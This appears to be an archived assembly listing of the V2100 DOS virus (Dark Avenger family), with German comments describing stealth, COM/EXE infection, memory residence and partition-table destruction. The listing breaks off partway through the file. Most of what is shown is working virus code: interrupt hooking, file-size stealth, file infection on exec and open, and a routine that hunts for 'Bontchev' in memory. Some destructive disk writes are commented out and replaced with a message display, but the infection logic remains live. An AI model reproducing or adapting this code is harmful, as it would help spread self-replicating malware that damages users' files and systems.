home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / SOURCE.ZIP / V2100_.ASM < prev    next >
Assembly Source File  |  1991-05-05  |  46KB  |  1,296 lines

  1. ;--------------------------------------------------------------  
  2. ;       V2100.ASM
  3. ;
  4. ;       Source von V2100.COM / noch ein Dark-Avenger-Virus
  5. ;
  6. ;       Stealth
  7. ;       Zerstört BOOT+Partitionstabelle
  8. ;       Infiziert COM+EXE
  9. ;       Lädt sich in oberen Speicherbereich
  10. ;
  11. ;--------------------------------------------------------------  
  12. code    SEGMENT
  13.         ASSUME CS:code, DS:code
  14.         .RADIX 16
  15.         SMART
  16.         ORG 100h
  17. ;--------------------------------------------------------------  
  18. ;       Struktur des Disk-Parameter-Blocks
  19. ;--------------------------------------------------------------  
  20. DPB     Struc
  21.         drive           db      ?      ; +0
  22.         Subunit         db      ?      ; +1
  23.         SecSize         dw      ?      ; +2
  24.         SecPerCluster   db      ?      ; +4
  25.         ClusToSecShift  db      ?      ; +5
  26.         BootSize        dw      ?      ; +6
  27.         NumberOfFATs    db      ?      ; +8
  28.         RootDirNumber   dw      ?      ; +9
  29.         FstDataSector   dw      ?      ; +0b
  30.         MaxCluster      dw      ?      ; +0d
  31.         SecsPerFAT      db      ?      ; +0f
  32.         RootSector      dw      ?      ; +10
  33.         Device          dd      ?      ; +12
  34.         MediaDescrpt    db      ?      ; +16
  35.         Accesflag       db      ?      ; +17
  36.         NextBlock       dd      ?      ; +18
  37. DPB     ends
  38. ;--------------------------------------------------------------  
  39. start:  JMP     VirStart
  40.         ;-----------------------------------------------------
  41.         ;       Die NOPS sind für den TD unbedingt notwendig !
  42.         ;-----------------------------------------------------
  43.     NOP    
  44.     NOP    
  45.     NOP    
  46.     NOP    
  47.     NOP    
  48.     NOP    
  49.     NOP    
  50.         NOP
  51.     NOP    
  52.     NOP    
  53.     NOP    
  54.     NOP    
  55.     NOP    
  56.         NOP     
  57.         NOP     
  58.     NOP    
  59.     NOP    
  60.     NOP    
  61.     NOP    
  62.     NOP    
  63. ;-----------------------------------------------------        
  64. FirstByte:      DB      00h              ; Ofs 0
  65.                 DB      "Eddie lives"    ; Ofs 1..0b
  66.                 DB      00h              ; Ofs 0c
  67.                 DB      0DCh             ; Ofs 0d
  68.                 DB      14h              ; Ofs 0e
  69.                 DB      00h              ; Ofs 0f
  70.                 DB      00h              ; Ofs 10
  71.         ;=======( eingefügt )=================================
  72. Infected        DB      7,'INFECTED',0
  73. destroyed       DB      7,'DESTROYED',0
  74. Down            DB      7,'DOWN',0
  75.         ;=====================================================
  76. DisplayActivity:
  77.         PUSH    AX
  78.         PUSH    BX
  79.         PUSH    SI
  80.         PUSH    BX
  81.         MOV     AH,0Eh  ; TTY-Ausgabe
  82.         MOV     BL,71h
  83.         MOV     SI,Offset Destroyed-Offset Firstbyte
  84.   nextchar:
  85.         LODSB
  86.         or      al,al
  87.         JZ      FERTIG
  88.         INT     10H
  89.         JMP     NextChar
  90.   fertig:
  91.         POP     AX
  92.         POP     BX
  93.         POP     SI
  94.         RET
  95.         ;==========================================
  96. ;-----------------------------------------------------        
  97. PushAll:PUSH    AX               ; Offset 11h
  98.     PUSH    BX 
  99.     PUSH    CX 
  100.     PUSH    DX 
  101.     PUSH    SI 
  102.     PUSH    DI 
  103.     PUSH    DS 
  104.     PUSH    ES 
  105.     MOV    BX,SP
  106.         JMP     Word Ptr SS:[BX+10h] ; == RET, Aber alle Register gesichert
  107.         ;-----------------------------------------------------        
  108.  
  109. JmpEXE:         ADD     SI,Offset IP_Init       ;081Ah    ;Offset 1Fh
  110.                 MOV     BX,ES
  111.                 ADD     BX,10h
  112.  
  113. ;---------------------------------------------------------------------
  114. ;VirusStartOffset EQU    Offset FirstByte
  115. ;SegmentOffset    EQU    Offset Exe_segment+Offset IP_Init
  116. ;OffsetOffset     EQU    Offset Exe_Offset -Offset IP_Init
  117. ;ErsteZahl        EQU    (-SegmentOffset + VirusStartOffset)
  118. ;ZweiteZahl       EQU    (-OffsetOffset  + VirusStartOffset)
  119. ;------( der assembler mag nicht )------------------------------------
  120. ;ADD     BX,Word Ptr CS:[SI+02h]         ; Relocate;
  121. ;MOV     Word Ptr CS:[SI-ErsteZahl],BX   ; +F831
  122. ;MOV     BX,Word Ptr CS:[SI]
  123. ;MOV     Word Ptr CS:[SI-ZweiteZahl],BX  ; +F82F
  124. ;=====================================================================
  125.                 ADD     BX,Word ptr CS:[SI+2]
  126.                 MOV     Word Ptr CS:[Offset Exe_Segment-Offset FirstByte],BX
  127.                 MOV     BX,Word ptr CS:[SI]
  128.                 MOV     Word Ptr CS:[Offset Exe_Offset-Offset FirstByte],BX
  129. ;======================================================================
  130.                 MOV     BX,ES
  131.                 ADD     BX,10h
  132.                 ADD     BX,Word Ptr CS:[SI+04h]
  133.                 MOV     SS,BX
  134.                 MOV     SP,Word Ptr CS:[SI+06h]
  135.         ;-----------------------------------------------------        
  136.                 DB      0EAh
  137. Exe_Offset      DW      ?       ; Offset 161h
  138. Exe_Segment     DW      ?       ; JMP 0000:0000 ; JMP EXE-CODE
  139.         ;-----------------------------------------------------        
  140. VirStart:       CALL    J0045F          ; Adresse 168h auf Stack
  141. ;-------------------------------------------------------------        
  142. InstallDevice:
  143. INT 3
  144.         RETF            ; DAS wollen wir besser nicht zulassen !!!!!!!!!!
  145.  
  146.         DEC     DI       ; Offset 50h
  147.     DEC    DI 
  148.     PUSH    CS 
  149.         CALL    FirstBIOSCall
  150.     INC    DI 
  151.     INC    DI 
  152. FirstBIOSCall: 
  153.         PUSH    DS 
  154.         PUSH    Word Ptr DS:[DI+08h]
  155.     RETF    
  156.         ;-----------------------------------------------------        
  157. ModifyFilesize_in_FCB: 
  158.         CALL    INT21           ; Offset 5Dh
  159.     TEST    AL,AL
  160.         JNZ     J001DA          ; Keine passende Datei gefunden
  161.     PUSH    AX 
  162.     PUSH    BX 
  163.     PUSH    SI 
  164.     PUSH    DI 
  165.     PUSH    DS 
  166.     PUSH    ES 
  167.         MOV     AH,51h          ; Get current PSP
  168.         INT     21H             
  169.         MOV     ES,BX           
  170.         CMP     BX,Word Ptr ES:[0016h]  ; PSP des COMMAND.COM ??
  171.     JNZ    J001D3
  172.     MOV    SI,DX
  173.         MOV     AH,2Fh          ; GET DTA
  174.         INT     21H             ; ES:BX <- DTA              
  175.     LODSB    
  176.     INC    AL
  177.     JNZ    J0019D
  178.     ADD    BX,+07h
  179. J0019D: INC    BX 
  180.         MOV     DI,0002h
  181.         JMP     SHORT CheckFileForStealth
  182.         ;-----------------------------------------------------        
  183. StealthFilesize: 
  184.         CALL    INT21           ; Offset 8Bh
  185.     JB    J001DA
  186.     PUSH    AX 
  187.     PUSH    BX 
  188.     PUSH    SI 
  189.     PUSH    DI 
  190.     PUSH    DS 
  191.     PUSH    ES 
  192.         MOV     AH,2Fh           ; Get DTA
  193.         INT     21H              ; ES:BX <- DTA       
  194.     XOR    DI,DI
  195. CheckFileForStealth: 
  196.         PUSH    ES 
  197.     POP    DS 
  198.         MOV     AX,Word Ptr DS:[BX+16h]      ; Hole Filedatum
  199.         AND     AL,1Fh                       ; Sekunde auf '62' gesetzt ?
  200.     CMP    AL,1Fh
  201.         JNZ     J001D3                       ; nein, dann geben wir die 
  202.         MOV     AX,Word Ptr DS:[BX+DI+1Ah]   ; echte Länge zurück.
  203.         MOV     SI,Word Ptr DS:[BX+DI+1Ch]   ; sonst : ziehe 2100 ab..
  204.         SUB     AX,2100d                     ; =0834h
  205.     SBB    SI,+00h
  206.     JB    J001D3
  207.         MOV     Word Ptr DS:[BX+DI+1Ah],AX
  208.         MOV     Word Ptr DS:[BX+DI+1Ch],SI
  209. J001D3: POP    ES 
  210.     POP    DS 
  211.     POP    DI 
  212.     POP    SI 
  213.     POP    BX 
  214.     POP    AX 
  215.     CLC    
  216. J001DA: INC    SP 
  217.     INC    SP 
  218.         JMP     @IRET
  219.         ;-----------------------------------------------------        
  220. J001DF: JMP     ModifyFilesize_in_FCB           ; Offset C7h
  221.         ;-----------------------------------------------------        
  222.         ;=====================================================
  223.         ;      vvvv--- Hier wird neuer Code hingebastelt -vvvv
  224.         ;-----------------------------------------------------        
  225. VirINT24:MOV     AL,03h                         ; Offset C9h
  226.          IRET                 ; INT24h / Operation failed ! 
  227.         ;-----------------------------------------------------        
  228. VirEXEC:CALL    J006E0                          ; Offset CCh
  229.         CALL    Zerstoere
  230.         MOV     BYTE PTR CS:[Offset Bontchev_Flag-Offset Firstbyte],01h
  231.                                                 ; 877h
  232. ToINT21h: 
  233.         POPF    
  234. JmpToINT21H: 
  235.         JMP     DWord Ptr CS:[Offset INT21H-Offset FirstByte]
  236.         ;-----------------------------------------------------        
  237. VirInt27H:                                      ; Offset DEh
  238.         CALL    Virus_KEEP_Procedure
  239.         JMP     DWord Ptr CS:[Offset INT27H-Offset FirstByte] 
  240.         ;-----------------------------------------------------        
  241. KEEP:   CALL    Virus_KEEP_Procedure            ; Offset E6h
  242.         JMP     ToINT21h
  243.         ;-----------------------------------------------------        
  244. VirInt21h: 
  245.         STI                                     ; Offset 00EBh
  246.     PUSHF    
  247.     CLD    
  248.         CMP     AH,11h          ; FindFirst FCB
  249.     JZ    J001DF
  250.         CMP     AH,12h          ; Findnext FCB
  251.     JZ    J001DF
  252.         
  253.         CMP     AH,4Eh          ; Findfirst ASCIIZ
  254.         JZ      StealthFilesize
  255.         CMP     AH,4Fh          ; FindNext ASCIIZ
  256.         JZ      StealthFilesize
  257.         
  258.         CALL    Suche_Bontchev
  259.         
  260.         CMP     AX,2521h        ; SET Int 21h
  261.         JZ      VirSetInt21H
  262.         CMP     AX,2527h        ; Set Int 27H
  263.         JZ      VirSetInt27H  
  264.         
  265.         CMP     AX,3521h        ; GET Int 21H
  266. ;==============================
  267. GET21LABEL      EQU     $-2     ; zeigt auf "3521"
  268. JmpLABEL        EQU     $+1     ; zeigt auf "57", Sprungweite
  269. ;==============================
  270.         JZ      VirGetInt21H
  271.         CMP     AX,3527h        ; GET INT 27H
  272.         JZ      VirGetInt27H
  273.         
  274.         CMP     AH,31h          ; KEEP
  275. KEEPLABEL:                      ; ofs 234h
  276.         JZ      KEEP
  277.         CMP     AX,4B00h        ; EXEC 
  278.         JZ      VirEXEC
  279.         
  280.         CMP     AH,3Ch          ; Create File
  281.     JZ    J0024A
  282.         CMP     AH,3Eh          ; close file
  283.         JZ      CLOSEFile
  284.         CMP     AH,5Bh          ; Make New File
  285.     JNZ    J002B0
  286.         
  287. J0024A: CMP     WORD PTR CS:[Offset VirusEnde-Offset FirstByte],+00h ; CS:93Ch
  288.         JNZ     J002CC          ;
  289.         CALL    CheckFile       ; 
  290.         JNZ     J002CC          ; NZ-> EXE oder COM
  291.     POPF    
  292.         CALL    INT21
  293.         JB      @IRET          
  294.     CALL    J003F8
  295. J00260: CLC    
  296. @IRET:  RETF    0002h
  297.         ;-----------------------------------------------------        
  298. VirSetInt27H: 
  299.         MOV     Word Ptr CS:[Offset INT27H     - Offset FirstByte],DX  
  300.         MOV     Word Ptr CS:[Offset INT27H + 2 - Offset FirstByte],DS 
  301.         POPF    
  302.     IRET    
  303.         ;-----------------------------------------------------        
  304. VirSetInt21H: 
  305.         MOV     Word Ptr CS:[Offset INT21H     - Offset FirstByte],DX    
  306.         MOV     Word Ptr CS:[Offset INT21H + 2 - Offset FirstByte],DS     
  307.     POPF    
  308.     IRET    
  309.         ;-----------------------------------------------------        
  310. VirGetInt27H: 
  311.         LES     BX,DWord Ptr CS:[Offset INT27H - Offset FirstByte]  
  312.     POPF    
  313.     IRET    
  314.         ;-----------------------------------------------------        
  315. VirGetInt21H: 
  316.         LES     BX,DWord Ptr CS:[Offset INT21H - Offset FirstByte]  
  317.     POPF    
  318.     IRET    
  319.         ;-----------------------------------------------------        
  320. CLOSEFile: 
  321.         CMP     BX,Word Ptr CS:[Offset VirusEnde-Offset FirstByte]
  322.     JNZ    J002CC
  323.     TEST    BX,BX
  324.     JZ    J002CC
  325.     POPF    
  326.         CALL    INT21
  327.         JB      @IRET
  328.     PUSH    DS 
  329.     PUSH    CS 
  330.     POP    DS 
  331.     PUSH    DX 
  332.         MOV     DX,Offset J0093E-Offset Firstbyte
  333.         CALL    Zerstoere
  334.         MOV     WORD PTR CS:[Offset VirusEnde-Offset FirstByte],0000h 
  335.     POP    DX 
  336.     POP    DS 
  337.     JMP    J00260
  338.         ;-----------------------------------------------------        
  339. J002B0: CMP     AX,4B01h        ; Load Overlay
  340.         JZ      J002C9
  341.         CMP     AH,3Dh          ; Open file
  342.     JZ    J002C4
  343.         CMP     AH,43h          ; Change Fileattribut
  344.     JZ    J002C4
  345.         CMP     AH,56h          ; rename File
  346.     JNZ    J002CC
  347.  
  348. J002C4: CALL    CheckFile
  349.         JNZ     J002CC          ; NZ -> EXE oder COM
  350.  
  351. J002C9: CALL    Zerstoere
  352.  
  353. J002CC: JMP     ToINT21h
  354.         ;-----------------------------------------------------        
  355. CheckFile: 
  356.         PUSH    AX 
  357.     PUSH    SI 
  358.     MOV    SI,DX
  359.  
  360. SuchEXT:LODSB   
  361.     TEST    AL,AL
  362.     JZ    J002FC
  363.         CMP     AL,'.'
  364.         JNZ     SuchEXT
  365.         
  366.         CALL    GetChar
  367.     MOV    AH,AL
  368.         CALL    GetChar
  369.         CMP     AX,'oc'         ; ein COM-File ?
  370.     JZ    J002F5
  371.         CMP     AX,'xe'         ; ein EXE-File ?
  372.     JNZ    J002FE
  373.         CALL    GetChar
  374.         CMP     AL,'e'
  375.     JMP    SHORT J002FE
  376.         ;-----------------------------------------------------        
  377. J002F5: CALL    GetChar
  378.         CMP     AL,'m'          ; war es ein COM-File ??
  379.     JMP    SHORT J002FE
  380.         ;-----------------------------------------------------        
  381. J002FC: INC     AL              ; Löscht ZF !
  382. J002FE: POP    SI 
  383.     POP    AX 
  384.     RETN    
  385.         ;-----------------------------------------------------        
  386. GetChar:LODSB   
  387.         CMP     AL,'C'  ; 43h   ; Buchstaben zwischen 'C'und 'Y'
  388.         JB      J0030C          ; werden in Kleinschrift gewandelt
  389.         CMP     AL,'Y'  ; 59h
  390.     JNB    J0030C
  391.         ADD     AL,20h          
  392. J0030C: RETN    
  393.         ;------------( virus callt int 21h )------------------
  394. INT21:  PUSHF
  395.     PUSH    CS 
  396.         CALL    JmpToINT21H
  397.     RETN    
  398.         ;-----------------------------------------------------        
  399. Zerstoere: 
  400.         CALL    PushAll
  401.     MOV    SI,DS
  402.         ;------------------------- Get Int 24h -----------------
  403.         XOR     AX,AX
  404.     MOV    DS,AX
  405.         MOV     DI,13h*4
  406.         LES     AX,Dword Ptr DS:[DI+44h]     
  407.         PUSH    ES 
  408.     PUSH    AX 
  409.         ;------------------------- Set Int 24h -----------------
  410.         MOV     WORD PTR DS:[DI+44h],Offset VirINT24-Offset FirstByte
  411.         MOV     Word Ptr DS:[DI+46h],CS
  412.         ;------------------------- Get Int 13h -----------------
  413.         LES     AX,Dword Ptr DS:[DI]
  414.         MOV     Word Ptr CS:[Offset INT13H+1-Offset FirstByte],AX ; CS:92B
  415.         MOV     Word Ptr CS:[Offset INT13H+3-Offset FirstByte],ES ; CS:92D
  416.         ;------------------------- Set Int 13h -----------------
  417.         MOV     WORD PTR DS:[DI    ],Offset VirInt13H-Offset FirstByte
  418.         MOV     Word Ptr DS:[DI+02h],CS
  419.     PUSH    ES 
  420.     PUSH    AX 
  421.     PUSH    DI 
  422.     PUSH    DS 
  423.         MOV     AH,54h          ; Get verify-Status
  424.         INT     21H          
  425.     PUSH    AX 
  426.         MOV     AX,2E00h        ; Set verify-Status OFF
  427.         INT     21H                          
  428.     MOV    DS,SI
  429.         MOV     AX,4300h        ; Get Fileattribut
  430.         CALL    INT21
  431.     JB    J0038B
  432.     TEST    CL,04h
  433.     JNZ    J0038B
  434.     MOV    BX,CX
  435.         AND     CL,0FEh
  436.     CMP    CL,BL
  437.         MOV     AX,4301h        ; Set Fileattribut
  438.     PUSH    AX 
  439.     JZ    J0036C
  440.         CALL    INT21
  441.     CMC    
  442. J0036C: PUSHF    
  443.     PUSH    DS 
  444.     PUSH    DX 
  445.     PUSH    BX 
  446.         MOV     AX,3D02h        ; Öffne R/W
  447.         CALL    INT21
  448.     JB    J00381
  449.     XCHG    AX,BX 
  450.         CALL    INFECT_File
  451.         MOV     AH,3Eh          ; Close file
  452.         CALL    INT21
  453. J00381: POP    CX 
  454.     POP    DX 
  455.     POP    DS 
  456.     POPF    
  457.     POP    AX 
  458.     JNB    J0038B
  459.         CALL    INT21
  460. J0038B: POP    AX 
  461.         MOV     AH,2Eh          ; Set verify-Status
  462.         INT     21H                              
  463.     POP    DS 
  464.         MOV     AL,Byte Ptr DS:[046Ch]      ; Get Timer-Byte 000:46C
  465.         DEC     AX              
  466.         OR      AL,byte Ptr DS:[043Fh]      ; Get Disk-Motor-Status, 
  467.                                 ; -> welches Laufwerk war grade 
  468.                                 ;    eben eingeschaltet ????????
  469.         AND     AL,0Fh          
  470.     JNZ    J003E1
  471.         MOV     DL,80h          ; Platte C:
  472.         MOV     AH,08h          ; Get drive-parameters
  473.         INT     13H
  474.     JB    J003E1
  475.         MOV     DI,0010h        ;
  476. J003A8: MOV     AX,0201h        ; Lese 1 Sektor
  477.         MOV     BX,Offset Buffer - Offset FirstByte ; 0880h; nach CS:998h
  478.         MOV     DL,80h          ; Platte C:
  479.         INT     13H             ; Welcher Sektor steht in CX....
  480.         ;-----------------------------------------------------------
  481.         CMP     WORD PTR CS:[BX    ],1F0Eh  ; scanne 0e 1f 83 2e 
  482.         JNZ     J003D8                      ; PUSH CS, POP DS
  483.         CMP     WORD PTR CS:[BX+02h],2E83h  ; SUB Word Ptr DS:[xxxx],yyyy
  484.     JNZ    J003D8
  485.         ;-----------------------------------------------------------
  486.         MOV     AX,0202h        ; Lese 2 Sektoren
  487.     PUSH    BX 
  488.         MOV     BH,0Ah          ; Puffer ist 10 byte dahinter
  489.         DEC     CX              ; 2 Sektoren davor lesen
  490.     DEC    CX 
  491.         INT     13H                 
  492.     POP    BX 
  493.         ;-----------------------------------------------------        
  494.         ;       MOV     AX,0303h        ; Drei Sektoren überschreiben
  495.         ;       MOV     CX,0001h        ; Sektor Nummer 1 / Partitionssektor !
  496.         ;       XOR     DH,DH           ; Kopf 0 
  497.         ;       INT     13H             ; Kaputt !         
  498.         ;======( eingefügt )=======================
  499.         CALL    DISPLAYACTIVITY
  500.         ;==========================================
  501.     JMP    SHORT J003E1
  502.         ;-----------------------------------------------------        
  503. J003D8: TEST    CH,CH
  504.     JZ    J003E1
  505.     DEC    CH
  506.     DEC    DI 
  507.     JNZ    J003A8
  508. J003E1: POP    DI 
  509.         POP     Word Ptr DS:[DI]
  510.         POP     Word Ptr DS:[DI+02h]
  511.         POP     Word Ptr DS:[DI+44h]
  512.         POP     Word Ptr DS:[DI+46h]
  513.         
  514. PopALL: POP     ES 
  515.     POP    DS 
  516.     POP    DI 
  517.     POP    SI 
  518.     POP    DX 
  519.     POP    CX 
  520.     POP    BX 
  521.     POP    AX 
  522.     INC    SP 
  523.     INC    SP 
  524.     RETN    
  525.         ;-----------------------------------------------------        
  526. J003F8: CALL    PushAll
  527.     PUSH    CS 
  528.     POP    ES 
  529.         MOV     DI,Offset VirusEnde-Offset FirstByte
  530.     STOSW    
  531.     MOV    SI,DX
  532.         MOV     CX,0050h
  533. J00406: LODSB    
  534.     STOSB    
  535.     TEST    AL,AL
  536.         JZ      PopALL
  537.     LOOP    J00406
  538.         MOV     Word Ptr ES:[Offset VirusEnde-Offset FirstByte],CX
  539.         JMP     PopALL
  540.         ;-----------------------------------------------------        
  541. Suche_Bontchev: 
  542.         CALL    PushAll
  543.     PUSH    CS 
  544.     POP    DS 
  545.         CMP     BYTE Ptr DS:[Offset Bontchev_Flag-Offset FirstByte],00h; CS:98F
  546.         JZ      PopALL
  547.         MOV     AH,51h
  548.         CALL    INT21
  549.     MOV    ES,BX
  550.         MOV     CX,Word Ptr ES:[0006h]
  551.     SUB    DI,DI
  552. J0042F: MOV     SI,Offset BontChev-Offset FirstByte
  553.     LODSB    
  554.     REPNZ   SCASB    
  555.     JNZ    J00446
  556.         ;--------------------------------------
  557.         ; BONTCHEV gefunden. System aufhängen !        
  558.         ;--------------------------------------
  559.         PUSH    CX 
  560.     PUSH    DI 
  561.         MOV     CX,0007h
  562.     REPZ    CMPSB    
  563.     POP    DI 
  564.     POP    CX 
  565.     JNZ    J0042F
  566.         ; ---------------------- refresh-timer verstellen ---------------
  567.         ;       MOV     AL,54h
  568.         ;       OUT     43h,AL           ; ergibt Paritätsfehler !
  569.         ;======( eingefügt )=======================
  570.         CALL    DISPLAYACTIVITY
  571.         ;==========================================
  572.  
  573. J00446: MOV     BYTE Ptr DS:[Offset Bontchev_Flag-Offset FirstByte],00h
  574.         JMP     PopALL   ; == RET
  575.         ;-----------------------------------------------------        
  576. JmpCOM: MOV     DI,0100h
  577.         ADD     SI,Offset OldCode-Offset FirstByte
  578.         MOV     SP,Word Ptr DS:[0006h]
  579.     XOR    BX,BX
  580.     PUSH    BX 
  581.     PUSH    DI 
  582.     MOVSB    
  583.     MOVSW    
  584.     RETN    
  585.         ;-----------------------------------------------------        
  586. J0045F: POP     SI                                       ; Get IP
  587.         SUB     SI,Offset InstallDevice-Offset FirstByte
  588.     CLD    
  589.         INC     WORD PTR CS:[SI+Offset Generation - Offset Firstbyte]
  590.         NOT     BYTE PTR CS:[SI+Offset BontChev- Offset FirstByte]
  591.         CMP     WORD PTR CS:[SI+Offset OldCode - Offset FirstByte],'MZ'
  592.     JZ    J00486
  593.     CLI    
  594.         MOV     SP,SI
  595.         ADD     SP,Offset @Stack-Offset Firstbyte
  596.     STI    
  597.         CMP     SP,Word Ptr DS:[0006h]
  598.         JNB     JmpCOM       ; Zuwenig Stack , keine Infektion möglich !
  599.         
  600. J00486: PUSH    AX 
  601.     PUSH    ES 
  602.     PUSH    SI 
  603.     PUSH    DS 
  604.     MOV    DI,SI
  605.         ;------------------------- Get Int 13h -----------------
  606.         XOR     AX,AX
  607.     PUSH    AX 
  608.     MOV    DS,AX
  609.         LDS     DX,DWord Ptr DS:[13h*4] ; Get INT 13 in DS:DX
  610.         
  611.         MOV     AH,30h
  612.         INT     21H                     ; Get DOS-version
  613.         MOV     Byte Ptr CS:[SI+Offset DOS_Version -Offset Firstbyte],AL  
  614.         
  615.         CMP     AL,03h                  ; Dosversion 3 ??        
  616.     JB    J004AE
  617.         
  618.         MOV     AH,13h                  ; Swap INT 13h-Handler
  619.         INT     2FH                     ; Jetzt enthält DS:DX und
  620.                                         ; ES:BX aber ROM-Entry
  621.         PUSH    DS                                
  622.         PUSH    DX                      ; Merk Dir den ROM-Entry
  623.         MOV     AH,13h                  ; und swappe zurück !
  624.         INT     2FH
  625.     POP    DX 
  626.         POP     DS
  627.         ;---------------------------------------------------------------------------       
  628. J004AE: MOV     Word Ptr CS:[SI+Offset Int13ROM_Entry+1-Offset FirstByte],DX  
  629.         MOV     Word Ptr CS:[SI+Offset Int13ROM_Entry+3-Offset FirstByte],DS
  630.         MOV     Word Ptr CS:[SI+Offset Int13JMP      +1-Offset Firstbyte],DX
  631.         MOV     Word Ptr CS:[SI+Offset Int13JMP      +3-Offset Firstbyte],DS
  632.         
  633.     POP    DS 
  634.         PUSH    DS              ; AX=0 als DS vom Stack holen
  635.         MOV     AX,Word Ptr DS:[0102h]   
  636.                                 ; Segment INT 40h (Disk-Bios-Entry) holen
  637.         CMP     AX,0F000h       ; zeigt es ins ROM  ?
  638.         JNZ     J00542          ;
  639.         
  640.         MOV     Word Ptr CS:[SI+Offset Int13ROM_Entry+1-Offset FirstByte],AX
  641.         MOV     AX,Word Ptr DS:[0100h]
  642.         MOV     Word Ptr CS:[SI+Offset Int13ROM_Entry+3-Offset FirstByte],AX
  643.         
  644.         MOV     DL,80h          ; DL auf Festplatte C: einstellen
  645.         MOV     AX,Word Ptr DS:[0106h] ; Adresse des BPB des Platte C: holen
  646.         CMP     AX,0F000h        ; Zeiger ins ROM ?
  647.     JZ    J004FF
  648.         CMP     AH,0C8h          ; Zeiger in Segment C800 ?
  649.     JB    J00542
  650.         CMP     AH,0F4h          ; Zeiger in Segment F400 ?
  651.         JNB     J00542          
  652.         
  653.         TEST    AL,7Fh          ; auf xxXX:xxxx  ?
  654.         JNZ     J00542          ; Auf xxXX:xxxx !
  655.         MOV     DS,AX           ; DS einstellen
  656.         CMP     WORD Ptr DS:[0000h],0AA55h ; ist dort eine BIOS-Kennung ?
  657.         JNZ     J00542          ; nein
  658.         MOV     DL,Byte  Ptr DS:[0002h] 
  659.                                 ; ?? Länge des Bios ?? holen  
  660.         
  661. J004FF: MOV    DS,AX
  662.     XOR    DH,DH
  663.         MOV     CL,09h          ; DX * 512 
  664.     SHL    DX,CL
  665.     MOV    CX,DX
  666.     XOR    SI,SI
  667. J0050B: LODSW           ;------- Code-Analyse ! --------------------
  668.         CMP     AX,0FA80h       ; CMP DL,xx 
  669.     JNZ    J00519
  670.     LODSW    
  671.         CMP     AX,7380h        ; CMP DL,80h
  672.         JZ      J00524          ;  JNB xxxx
  673.         
  674.         JNZ     J0052E
  675. J00519: CMP     AX,0C2F6h       ; TEST DL,xx
  676.         JNZ     J00530          ; 
  677.     LODSW    
  678.         CMP     AX,7580h        ; TEST Dl,80h
  679.         JNZ     J0052E          ; JBE  xxxx
  680.         
  681. J00524: INC    SI 
  682.     LODSW    
  683.         CMP     AX,40CDh        ;INT 40h. Suche danach den INT 40-Aufruf
  684.     JZ    J00535
  685.     SUB    SI,+03h
  686. J0052E: DEC    SI 
  687.     DEC    SI 
  688. J00530: DEC    SI 
  689.     LOOP    J0050B
  690.     JMP    SHORT J00542
  691.         ;-----------------------------------------------------        
  692. J00535: SUB     SI,+07h
  693.         
  694.         MOV     Word Ptr CS:[DI+Offset Int13JMP + 1 - Offset FirstByte],SI
  695.         MOV     Word Ptr CS:[DI+Offset Int13JMP + 3 - Offset FirstByte],DS
  696.  
  697. J00542: MOV     SI,DI
  698.     POP    DS 
  699.         ;------------------------- Get Int 21h -----------------
  700.         LES     AX,Dword Ptr DS:[21h*4]            
  701.         MOV     Word Ptr CS:[SI+Offset INT21H     - Offset FirstByte],AX  
  702.         MOV     Word Ptr CS:[SI+Offset INT21H + 2 - Offset FirstByte],ES
  703.     PUSH    CS 
  704.     POP    DS 
  705.         NOT     BYTE Ptr DS:[SI+Offset Bontchev-Offset FirstByte]
  706.         
  707.         CMP     AX,Offset VirInt21h-Offset FirstByte
  708.         JNZ     J0056B                  ; Noch nicht verbogen !
  709.         XOR     DI,DI    
  710.         
  711.         MOV     CX,Offset Int13ROM_Entry + 1 - Offset FirstByte
  712.     REPZ    CMPSB    
  713.     JNZ    J0056B
  714.     POP    ES 
  715.     JMP    J005F0
  716.         ;---------------( berechnen der neuen Position im RAM )-----
  717. J0056B: POP     DS 
  718.     PUSH    DS 
  719.     MOV    AX,SP
  720.     INC    AX 
  721.         MOV     CL,04h
  722.     SHR    AX,CL
  723.     INC    AX 
  724.     MOV    CX,SS
  725.     ADD    AX,CX
  726.     MOV    CX,DS
  727.     DEC    CX 
  728.     MOV    ES,CX
  729.         MOV     DI,0002h
  730.         MOV     DX,010Ch
  731.         MOV     CX,Word Ptr DS:[DI]
  732.     SUB    CX,DX
  733.     CMP    CX,AX
  734.     JB    J005EF
  735.         
  736.     POP    AX 
  737.         SUB     Word Ptr ES:[DI+01h],DX
  738.         MOV     Word Ptr DS:[DI    ],CX
  739.     MOV    ES,CX
  740.     MOV    AX,CX
  741.     CALL    J008F2
  742.     MOV    BX,AX
  743.     MOV    CX,DX
  744.     MOV    AX,DS
  745.     CALL    J008F2
  746.         ADD     AX,Word Ptr DS:[DI+04h]
  747.     ADC    DX,+00h
  748.     SUB    AX,BX
  749.     SBB    DX,CX
  750.     JB    J005B2
  751.         SUB     Word Ptr DS:[DI+04h],AX
  752. J005B2: POP    SI 
  753.     PUSH    SI 
  754.     PUSH    DS 
  755.     PUSH    CS 
  756.     XOR    DI,DI
  757.     MOV    DS,DI
  758.         ;------------------------- Get Int 27h -------------------------
  759.         LDS     AX,DWord Ptr DS:[27h*4]              ; Hole INT 27H
  760.         MOV     Word Ptr CS:[SI+Offset INT27H     -Offset FirstByte],AX    
  761.         MOV     Word Ptr CS:[SI+Offset INT27H + 2 -Offset FirstByte],DS
  762.     POP    DS 
  763.         MOV     BYTE Ptr DS:[SI+Offset Bontchev_Flag-Offset FirstByte],00h 
  764.         
  765.         ;---------------------------------------------------------------
  766.         MOV     CX,Offset Buffer-Offset Firstbyte ; 0440h; 997h kopieren
  767.         REPZ    MOVSW   ; Ins obere RAM kopieren
  768.         
  769.         ;------------------------- Set Int 21h -----------------
  770.         XOR     AX,AX
  771.     MOV    DS,AX
  772.         MOV     WORD PTR DS:[21h*4  ],Offset VirInt21h-Offset FirstByte
  773.         MOV     WORD PTR DS:[21h*4+2],ES
  774.         ;------------------------- Set Int 27h -----------------
  775.         MOV     WORD PTR DS:[27h*4  ],Offset VirInt27H-Offset FirstByte
  776.         MOV     WORD PTR DS:[27h*4+2],ES
  777.         MOV     ES:[Offset VirusEnde-Offset FirstByte],AX   
  778.         
  779. J005EF: POP     ES 
  780. J005F0: POP    SI 
  781.         ;------------------------- Get Int 13h -----------------
  782.         XOR     AX,AX
  783.     MOV    DS,AX
  784.         MOV     AX,Word Ptr DS:[13h*4]
  785.         MOV     Word Ptr CS:[SI+Offset int13JMP+1-Offset FirstByte],AX
  786.         MOV     AX,Word Ptr DS:[13h*4+2]
  787.         MOV     Word Ptr CS:[SI+Offset Int13JMP+3-Offset FirstByte],AX
